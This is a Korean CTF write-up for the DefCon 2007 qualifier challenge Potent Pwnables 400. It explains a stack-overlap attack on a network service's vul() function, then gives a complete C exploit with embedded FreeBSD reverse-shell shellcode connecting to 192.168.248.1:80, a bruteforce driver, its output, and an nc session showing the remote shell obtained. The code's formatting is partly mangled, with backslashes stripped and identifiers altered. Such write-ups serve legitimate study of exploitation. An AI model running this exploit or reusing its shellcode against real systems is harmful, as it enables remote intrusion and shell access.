0Ch.text:08048E0B push [ebp+var_4c4].text:08048e11 push esi.text:08048e12 jmp loc_8048cf6
buf1_var1 의값이 0x1000 보다같거나작으면 mmap(0xbfbdf000, 0x1000, 3, 0x1010, -1, 0, 0); 을실행하여 0xbfbdf000 메모리주소에 0x1000 바이트만큼공간을확보합니다. 그리고나서 buf1_var1 만큼또클라이언트로부터전송받아서위의 mmap() 함수로확보한메모리에저장합니다. 이때, 클라이언트가전송한데이터의길이는반드시 buf1_var1 의값과일치해야합니다. 그리고 buf1_var1 횟수만큼루프를돌면서클라이언트로부터전송받은데이터를 1바이트씩뽑아서특정연산을수행하게됩니다. (xor, shl 4 등등..) 그렇게만들어진 4바이트값을다시클라이언트에게전송해줍니다. 하지만연산된값은아무런의미도없으며, 루틴자체가삽질을유도하는쓸데없는코드로생각되어집니다. 그럼어떻게공격을들어가야할까요? 바로 3 일때 와 7 일때 를통해공격할수있습니다. 위에서 buf1_var2 가 3 일때, 자기자신을호출한다는것을알아냈습니다. ( 사실이부분은두번째전송하는값횟수만큼루프를돌면서자기자신을호출하는루틴이지만, 스스로리턴이된후에다시호출을하므로, 재귀호출이아닙니다. 그러므로 esp 레지스터를조작할수없습니다 ) 이를통해 esp 레지스터의값을증가시킬수있습니다. 왜냐면 vul() 함수초반에 esp 0x540 으로스택공간을사용하기때문입니다. vul() 함수가호출될때마다다시 vul() 함수를호출하는패킷을보냄으로써 esp 레지스터의위치를높여가고, 그부분이 mmap() 함수로할당받아서우리가전송하는값을써넣는 7 일때 코드의 0xbfbdf000 주소와겹쳐질때, 우리가원하는값으로 vul() 함수의 ret 값을덮어쓸수있습니다. 여기서우리가확실히알수있는주소값은 0xbfbdf000 밖에없습니다. 그러므로쉘코드를 0xbfbdf000 부터넣고그뒤에쉘코드의첫시작주소를가리키는 0xbfbdf000 배열을채워넣어서공격해야합니다. 우리의공격코드는다음과같습니다. 0xbfbdf000 쉘코드의길이 : 4의배수 4096 ( 쉘코드의길이 : 4의배수 ) reverse shellcode 0xbfbdf000 0xbfbdf000 0xbfbdf000 0xbfbdf000 0xbfbdf000 총 4096 바이트 쉘코드의길이를 4 의배수로맞춰주는이유는 ret 를제대로덮어쓰기위함입니다. 공격시나리오는다음과같습니다. 1. 앞 4바이트의값이 3인 8바이트데이터를전송 2. 1이상인 4바이트값을전송 3. 1 과 2 번의반복으로 esp 레지스터의위치를조작함 (0xbfbdf000 까지올라가도록 ) 4. 앞 4바이트의값이 7이고, 뒤 4바이트의값이 4096인 8바이트데이터를전송 5. 앞에서만든 4096 바이트공격코드를전송
해당익스플로잇코드는다음과같습니다. ( 사용된쉘코드는저번문서때만든 192.168.248.1:80 으로연결하는 Reverse 쉘코드입니다 ) /* * DefCon CTF 2007 Prequals * Potent Pwnables 400 exploit by graylynx (graylynx at gmail.com) * http://powerhacker.net * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <arpa/inet.h> #include <sys/socket.h> #include <sys/types.h> #include <sys/wait.h> #include <netinet/in.h> void error_handling(char *message); char ex1[] = " x03 x00 x00 x00 x41 x41 x41 x41"; char ex2[] = " x41 x41 x41 x41"; char ex3[] = " x07 x00 x00 x00 x00 x10 x00 x00"; char reverse_sh[] = " x6a x61 x58 x99 x52 x42 x52 x42 x52 x57 xcd x80 x93 x68 xc0 xa8 xf8 x01" " xb8 xff xfd xff xaf xf7 xd8 x50 x89 xe2 x6a x10 x52 x53 x57 x6a x62 x58" " xcd x80 x6a x02 x59 x51 x53 x57 x6a x5a x58 xcd x80 x49 x79 xf5 x50" " x68 x2f x2f x73 x68 x68 x2f x62 x69 x6e x89 xe2 x50 x54 x52 x57 x6a x3b" " x58 xcd x80"; int main(int argc, char *argv[]) { int serv_sock; struct sockaddr_in serv_addr; int recv_len, i; char buffer[1024]; char *ex4; int *p_ex4; if(argc!= 4) { printf("usage: %s <ip> <port> <recursive> n", argv[0]); exit(1); } ex4 = (char *)malloc(4096); p_ex4 = (int *)ex4;
memset(buffer, 0, 1024); memset(ex4, 0, 4096); strcpy(ex4, reverse_sh); p_ex4 += (int)((strlen(reverse_sh) + strlen(reverse_sh) % 4) / 4); for(i = 0; i < (4096 - strlen(reverse_sh) - (strlen(reverse_sh) % 4)) / 4; i++) *p_ex4++ = 0xbfbdf000; serv_sock = socket(pf_inet, SOCK_STREAM, 0); memset(&serv_addr, 0, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(argv[1]); serv_addr.sin_port = htons(atoi(argv[2])); if(connect(serv_sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) error_handling("connect() error"); for(i = 0; i < atoi(argv[3]); i++) { printf("[recursive:%03d] exploit code 1 send.. ", i); write(serv_sock, ex1, 8); puts("ok"); } printf("[recursive:%03d] exploit code 2 send.. ", i); write(serv_sock, ex2, 4); puts("ok"); printf("[recursive:%03d] exploit code 3 send.. ", i); write(serv_sock, ex3, 8); puts("ok"); printf("[recursive:%03d] exploit code 4 send.. ", i); write(serv_sock, ex4, 4096); puts("ok"); printf(" ncheck your reverse shell :) lol n"); } close(serv_sock); void error_handling(char *message) { fputs(message, stderr); fputc(' n', stderr); exit(1); } 또한, 재귀호출을몇번해야할지몰라서, bruteforce 를하는간단한코드도만들었습니다.
[graylynx@freebsd62 ~/work/kenshoto/pwn400]$ gcc -o ex400 ex400.c [graylynx@freebsd62 ~/work/kenshoto/pwn400]$ cat bruteforce.c int main(int argc, char *argv[]) { unsigned int i; char cmd[256]; if(argc!= 2) { printf("usage: %s <bruteforce> n", argv[0]); exit(1); } for(i = 1; i < atoi(argv[1]); i++) { sprintf(cmd, "./ex400 127.0.0.1 4455 %d", i); system(cmd); } return 0; } [graylynx@freebsd62 ~/work/kenshoto/pwn400]$ gcc -o bruteforce bruteforce.c [graylynx@freebsd62 ~/work/kenshoto/pwn400]$./bruteforce 100 [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 3 send.. OK [recursive:001] exploit code 4 send.. OK Check your reverse shell :) lol [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 1 send.. OK [recursive:001] exploit code 2 send.. OK [recursive:002] exploit code 3 send.. OK [recursive:002] exploit code 4 send.. OK Check your reverse shell :) lol [recursive:000] exploit code 1 send.. OK [recursive:000] exploit code 2 send.. OK [recursive:001] exploit code 1 send.. OK [recursive:001] exploit code 2 send.. OK [recursive:002] exploit code 1 send.. OK [recursive:002] exploit code 2 send.. OK [recursive:003] exploit code 3 send.. OK [recursive:003] exploit code 4 send.. OK (bruteforce 공격중 ) [recursive:091] exploit code 2 send.. OK [recursive:092] exploit code 1 send.. OK [recursive:092] exploit code 2 send.. OK [recursive:093] exploit code 1 send.. OK [recursive:093] exploit code 2 send.. OK
[recursive:094] exploit code 1 send.. OK [recursive:094] exploit code 2 send.. OK [recursive:095] exploit code 1 send.. OK [recursive:095] exploit code 2 send.. OK [recursive:096] exploit code 1 send.. OK [recursive:096] exploit code 2 send.. OK [recursive:097] exploit code 1 send.. OK [recursive:097] exploit code 2 send.. OK [recursive:098] exploit code 1 send.. OK [recursive:098] exploit code 2 send.. OK [recursive:099] exploit code 3 send.. OK [recursive:099] exploit code 4 send.. OK Check your reverse shell :) lol [graylynx@freebsd62 ~/work/kenshoto/pwn400]$ 아참,, 코드분석할때보셨겠지만, 자식프로세스의수명은 5초입니다. 그러므로 Reverse 쉘코드가정상적으로실행되어 nc 에쉘을띄워줘도, 5초후에는다시닫히게됩니다. 이럴때는 nc 를실행시켜놓고미리 /bin/sh i 를타이핑해서연결이되자마자새로운쉘을실행시키도록하면됩니다. C: Documents and Settings graylynx>nc -l -p 80 /bin/sh -i $ uname -a FreeBSD freebsd62.localhost 6.2-RELEASE FreeBSD 6.2-RELEASE #0: Fri Jan 12 10:40 :27 UTC 2007 root@dessler.cse.buffalo.edu:/usr/obj/usr/src/sys/generic i386 $ id uid=1001(graylynx) gid=1001(graylynx) groups=1001(graylynx), 0(wheel) $ netstat -an grep 80 tcp4 0 0 192.168.248.41.62129 192.168.248.1.80 ESTABLISHED tcp4 0 0 127.0.0.1.58025 127.0.0.1.4455 TIME_WAIT c1ae0d20 dgram 0 0 c1adf880 0 c1ae0b7c 0 /var/run/logpr iv $ 부족한글끝까지읽어주셔서감사합니다 :)